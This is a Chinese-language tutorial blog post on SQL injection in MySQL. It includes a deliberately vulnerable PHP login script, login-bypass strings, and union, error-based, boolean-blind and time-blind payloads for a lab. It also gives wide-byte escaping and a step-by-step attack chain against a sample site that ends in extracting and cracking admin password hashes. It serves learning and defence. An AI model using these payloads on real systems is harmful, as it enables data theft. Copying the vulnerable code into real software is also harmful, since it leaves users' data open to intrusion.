【网络安全】OWASP TOP10(SQL注入篇)

🛠️ 使用的工具

一、SQL注入的本质

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

🎯 数据和代码未分离

一句话总结:攻击者输入的字符串,被数据库当成了SQL命令来执行。

🔓 最经典的例子:登录绕过

  • 存在漏洞的后端代码(PHP + MySQL)
<?php
// ✅ 在文件最开头添加(必须在任何输出之前)
header('Content-Type: text/html; charset=utf-8');
// 数据库连接配置
$servername = "localhost";
$username_db = "root";
$password_db = "123456";
$dbname = "test";

// 创建连接
$conn = mysqli_connect($servername, $username_db, $password_db, $dbname);

// 检查连接
if (!$conn) {
    die("连接失败: " . mysqli_connect_error());
}

// 获取用户输入(来自POST请求)
$username = $_POST['username'];
$password = $_POST['password'];

// ⚠️ 危险!直接拼接用户输入(存在SQL注入漏洞)
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

// 执行查询
$result = mysqli_query($conn, $sql);

// 判断登录是否成功
if (mysqli_num_rows($result) > 0) {
    // 登录成功
    $user = mysqli_fetch_assoc($result);
    echo "登录成功!欢迎 " . $user['username'];
    // 可以设置session等操作
    // session_start();
    // $_SESSION['user'] = $user;
} else {
    // 登录失败
    echo "用户名或密码错误!";
}

// 关闭连接
mysqli_close($conn);
?>

正常用户输入:

  • username: john
  • password: abc123
SELECT * FROM users WHERE username='john' AND password='abc123'

攻击者输入(登录绕过):

  • username: admin' #
  • password: 任意值
SELECT * FROM users WHERE username='admin' # ' AND password='任意值'

二、MySQL注入的基础知识

💬 MySQL中的注释符号

符号作用示例
--单行注释(后面必须有空格)admin' --
#单行注释admin' #
/* */多行注释/内联注释admin' /*注释内容*/

注意--后面必须有空格或特殊字符(如--+,+会被解析为空格)

🔗 MySQL中的字符串连接

方式语法示例
CONCAT()函数CONCAT(str1, str2)CONCAT('user','name') → 'username'
CONCAT_WS()CONCAT_WS(separator, str1, str2)CONCAT_WS('-','2024','01','15') → '2024-01-15'
GROUP_CONCAT()GROUP_CONCAT(column)将多行合并为一行

⚙️ MySQL重要内置函数(注入常用)

-- 📁 数据库信息
DATABASE()      -- 当前数据库名
USER()          -- 当前用户
VERSION()       -- MySQL版本
@@datadir       -- 数据目录路径

-- ✂️ 字符串操作
SUBSTRING(str, pos, len)    -- 截取字符串
MID(str, pos, len)          -- 同上
LEFT(str, len)              -- 从左取
RIGHT(str, len)             -- 从右取
LENGTH(str)                 -- 字符串长度
ASCII(str)                  -- 返回ASCII码
ORD(str)                    -- 返回字符编码

-- 🎯 条件判断
IF(condition, true_val, false_val)      -- MySQL特有
CASE WHEN condition THEN true ELSE false END

-- ⏰ 时间函数
SLEEP(seconds)      -- 延迟执行(盲注利器)
BENCHMARK(count, expr)  -- 重复执行(另一种延时)

-- 💥 报错注入专用
EXTRACTVALUE(xml, xpath)    -- XPath报错
UPDATEXML(xml, xpath, new)  -- XPath报错
EXP(709)                    -- 超出范围报错
GTID_SUBSET()               -- 内部函数报错

🗄️ MySQL系统库 information_schema

这是MySQL注入的核心知识information_schema是MySQL自带的数据库,存储了所有数据库的元数据。

  • 最重要的三张表
表名作用关键字段
schemata记录所有数据库schema_name(数据库名)
tables记录所有表table_schema(所属数据库)、table_name(表名)
columns记录所有列table_name(所属表)、column_name(列名)
  • 查询所有数据库
SELECT schema_name FROM information_schema.schemata;
  • 查询某个数据库的所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='test';
  • 查询某个表的所有列
SELECT column_name FROM information_schema.columns WHERE table_name='users';

三、MySQL注入的四种主要类型

🔵 联合查询注入(UNION注入)

  • 判断注入点
输入:http://localhost/sqli/Less-1/?id=1'
返回:报错信息,说明存在注入
  • 判断字段数量
http://localhost/sqli/Less-1/?id=1' ORDER BY 3 --+
页面正常(有3个字段)

http://localhost/sqli/Less-1/?id=1' ORDER BY 4 --+
页面报错(没有第4个字段)
结论:字段数 = 3
  • 判断显示位
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,2,3 --+

看到页面上显示2和3 → 说明第2、3个位置可以显示数据

  • 获取数据库名
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,DATABASE(),3 --+

返回:security(当前数据库名)

  • 获取所有表名
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security' --+
  • 获取users表的列名
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users' --+
  • 提取数据
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+

🟠 报错注入

  • 常用函数对比
函数限制说明
updatexml()返回值长度32MySQL 5.1.5+
extractvalue()返回值长度32MySQL 5.1.5+
floor(rand(0)*2)无长度限制但会重复通用性最好
exp()数值>709报错MySQL 5.5.5+
GeometryCollection()需要空间函数支持
  • 查数据库名
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+
  • 查表名
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) --+
  • 查列名
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' and table_schema='security' LIMIT 1,1),0x7e),1) --+
  • 查数据
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1) --+

🟡 布尔盲注

  • 判断数据库名长度是否=8
http://localhost/sqli/Less-8/?id=1' AND LENGTH(database())=8 --+
如果页面正常 → 长度为8
  • 猜解数据库名的第一个字符
-- 判断第一个字符的ASCII码是否=115(即's')
http://localhost/sqli/Less-8/?id=1' AND ASCII(SUBSTRING(database(),1,1))=115 --+
如果页面正常 → 第一个字符是's'
  • 完整猜解流程(需要脚本或手工)

🟢 时间盲注

  • 数据库名第一个字符是’s’,则延迟5秒
http://localhost/sqli/Less-9/?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --

同样的,逐字猜测即可

四、MySQL注入中的关键技术细节

🔢 如何判断字段数

  • ORDER BY
ORDER BY 1 -- 正常
ORDER BY 2 -- 正常
ORDER BY 3 -- 正常
ORDER BY 4 -- 报错 → 字段数=3
  • UNION SELECT
UNION SELECT NULL -- 正常
UNION SELECT NULL,NULL -- 正常
UNION SELECT NULL,NULL,NULL -- 正常
UNION SELECT NULL,NULL,NULL,NULL -- 报错 → 字段数=3

📈 判断当前表有多少条数据

-- 统计users表的数据量
AND (SELECT COUNT(*) FROM users)=4

🌏 单引号被过滤怎么办?——宽字节注入

背景:当使用了addslashes()mysql_real_escape_string()时,单引号'会被转义成\',导致注入失败。

原理:GBK等双字节字符集中,%df' → %df\' → %df%5c%27,其中%df%5c被解析成一个汉字,%27(单引号)逃逸出来。

-- 正常注入被转义
输入:1'
转义后:1\'
实际SQL:WHERE id='1\''  -- 单引号被转义,无法闭合

-- 宽字节注入
输入:1%df'
转义后:1%df\'
因为%df和%5c组成一个汉字,%27独立
实际SQL:WHERE id='1�''  -- 单引号成功逃逸

五、真实场景:完整的SQL注入攻击流程

假设我们面对一个存在UNION注入的页面:http://target.com/product.php?id=1

  •  完整攻击链路
-- 1️⃣ 确认注入点
http://target.com/product.php?id=1' --+  报错 → 存在注入

-- 2️⃣ 获取数据库版本(判断可用手法)
http://target.com/product.php?id=-1' UNION SELECT 1,VERSION(),3 --+
返回:5.7.33 → 信息量充足

-- 3️⃣ 获取当前数据库
http://target.com/product.php?id=-1' UNION SELECT 1,DATABASE(),3 --+
返回:ecommerce

-- 4️⃣ 获取所有数据库
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+
返回:information_schema,mysql,performance_schema,ecommerce,admin

-- 5️⃣ 获取admin数据库的表
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='admin' --+
返回:admins,config,logs

-- 6️⃣ 获取admins表的列
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='admins' --+
返回:id,username,password,role,last_login

-- 7️⃣ 提取管理员凭证
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x3b),3 FROM admin.admins --+
返回:admin:5f4dcc3b5aa765d61d8327deb882cf99;manager:7c6a180b36896a0a8c02787eeafb0e4c

-- 8️⃣ MD5解密得到明文密码
5f4dcc3b5aa765d61d8327deb882cf99 → password

本文为个人学习笔记,仅供技术交流 | 转载请联系作者 | 🔗 文章地址

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇